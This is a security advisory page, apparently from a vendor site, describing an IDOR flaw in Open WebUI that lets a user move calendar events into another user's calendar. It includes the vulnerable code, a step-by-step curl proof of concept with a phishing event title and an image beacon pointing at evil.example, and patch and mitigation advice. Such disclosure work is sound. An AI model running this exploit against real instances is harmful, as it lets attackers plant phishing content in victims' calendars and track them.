GHSA-f3g7-59qc-pqg6 — open-webui
MEDIUMGHSA-f3g7-59qc-pqg6 is a medium-severity (CVSS 4.3) CWE-639 vulnerability in open-webui. A fix is available for open-webui — see the affected versions and patch details below.
Open WebUI IDOR: Calendar event re-parenting allows writing events into another user's calendar
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-f3g7-59qc-pqg6.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-f3g7-59qc-pqg6 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
open-webuiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
POST /api/v1/calendars/events/{event_id}/update validates that the caller has write access to the calendar the event currently belongs to, but does not validate the destination calendar_id supplied in the request body. The model layer then persists the new calendar_id unconditionally.
A regular user-role account can therefore create an event in their own calendar and immediately move it into any other user's calendar whose ID they know — bypassing the authorization check that create_event correctly performs. This is reachable on default configuration: ENABLE_CALENDAR and USER_PERMISSIONS_FEATURES_CALENDAR both default to True.
Details
Sink — missing destination check
backend/open_webui/routers/calendar.py:283-297
@router.post('/events/{event_id}/update', response_model=CalendarEventModel)
async def update_event(
request: Request, event_id: str, form_data: CalendarEventUpdateForm,
user: UserModel = Depends(get_verified_user)
):
await check_calendar_permission(request, user)
event = await CalendarEvents.get_event_by_id(event_id)
if not event:
raise HTTPException(status_code=404, detail='Event not found')
await _check_calendar_access(event.calendar_id, user, 'write') # ← SOURCE only
updated = await CalendarEvents.update_event_by_id(event_id, form_data) # ← writes form_data.calendar_id
...
backend/open_webui/models/calendar.py:658-693 (update_event_by_id)
update_data = form_data.model_dump(exclude_unset=True)
for field in [
'calendar_id', # ← destination persisted with no ACL
'title', 'description', 'start_at', 'end_at', 'all_day',
'rrule', 'color', 'location', 'is_cancelled',
]:
if field in update_data:
setattr(event, field, update_data[field])
Reference — create_event does check the destination
backend/open_webui/routers/calendar.py:255
await _check_calendar_access(form_data.calendar_id, user, 'write')
Default-config gates (both True)
backend/open_webui/config.py:1658-1662—ENABLE_CALENDARdefaults'True'backend/open_webui/config.py:1554—USER_PERMISSIONS_FEATURES_CALENDARdefaults'True'backend/open_webui/main.py:1457— router mounted unconditionally
PoC
Verified end-to-end against the official ghcr.io/open-webui/open-webui:main (v0.9.4) Docker image with two fresh user-role accounts.
1. Environment
git clone https://github.com/open-webui/open-webui.git
cd open-webui && docker compose up -d # http://localhost:3000
Create the first account (admin), then via admin UI / POST /api/v1/auths/add create two user-role accounts: attacker and victim. Sign each in and capture their JWTs as $ATTACKER_TOKEN / $VICTIM_TOKEN.
2. Obtain the victim's calendar_id
Calendar IDs are UUIDv4 (models/calendar.py:316) and not enumerable. In practice an attacker obtains one via:
- Read-only share — victim (or a group admin) grants the attacker
readon a calendar; the ID is returned byGET /api/v1/calendars/. - Event invitation — victim adds the attacker as an attendee on any event; the event payload (
CalendarEventModel,models/calendar.py:127) includescalendar_id. - Any side-channel (logs, screenshots, browser history).
For reproduction the maintainer can simply read it as the victim:
VICTIM_CALENDAR_ID=$(curl -s "$OPENWEBUI/api/v1/calendars/" \
-H "Authorization: Bearer $VICTIM_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')
3. Control — direct create is correctly blocked
curl -s -o /dev/null -w '%{http_code}\n' \
-X POST "$OPENWEBUI/api/v1/calendars/events/create" \
-H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
-d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\",\"title\":\"x\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}"
# → 403
4. Exploit — create-then-reparent
ATTACKER_CAL=$(curl -s "$OPENWEBUI/api/v1/calendars/" \
-H "Authorization: Bearer $ATTACKER_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')
# 1. create in own calendar
EVENT_ID=$(curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/create" \
-H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
-d "{\"calendar_id\":\"$ATTACKER_CAL\",\"title\":\"[INJECTED] Mandatory re-auth: https://evil.example/login\",\"description\":\"Session expired.\",\"location\":\"<img src=https://evil.example/beacon.png>\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}" \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])')
# 2. move into victim's calendar — NO destination check
curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/$EVENT_ID/update" \
-H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
-d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\"}"
# → 200, response shows "calendar_id":"<VICTIM_CALENDAR_ID>"
5. Verification from victim's session
curl -s "$OPENWEBUI/api/v1/calendars/events?start=2026-05-01T00:00:00&end=2026-06-01T00:00:00" \
-H "Authorization: Bearer $VICTIM_TOKEN" | python3 -m json.tool
Observed output (truncated):
[{
"id": "1662c982-adb1-43d6-a9c8-0103fa1299c0",
"calendar_id": "0b755ea7-4ff4-4a60-9cff-8961e69c75bb",
"user_id": "7554dd33-e220-44cb-8441-169c55eef4f5",
"title": "[INJECTED] Mandatory re-auth: https://evil.example/login",
"description": "Session expired.",
...
}]
The injected event now lives in the victim's default calendar. A subsequent GET /events/{id} as the attacker returns 403 — confirming the move succeeded and the attacker has no legitimate access to the destination.
Impact
- Read-only → write escalation on shared calendars: a user granted
readviaAccessGrantscan effectively write. - Phishing / social engineering: events appear inside the victim's own private calendar (not as an external invite). The hover tooltip (
CalendarEventChip.svelte:12 → common/Tooltip.svelte) renderstitle/locationas DOMPurify-sanitised HTML withallowHTML=true, so an attacker can embed formatted links and<img>beacons (read-receipt when the victim hovers). DOMPurify prevents script execution, so this is HTML injection, not XSS. - Calendar spam / DoS: unlimited one-shot injections (attacker loses access to each event after the move, but can repeat with new events).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | open-webui | all versions | 0.9.6pip install --upgrade 'open-webui==0.9.6' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update open-webui to 0.9.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f3g7-59qc-pqg6 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-f3g7-59qc-pqg6 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-f3g7-59qc-pqg6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-f3g7-59qc-pqg6 in your dependencies?
O3 Security finds GHSA-f3g7-59qc-pqg6 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.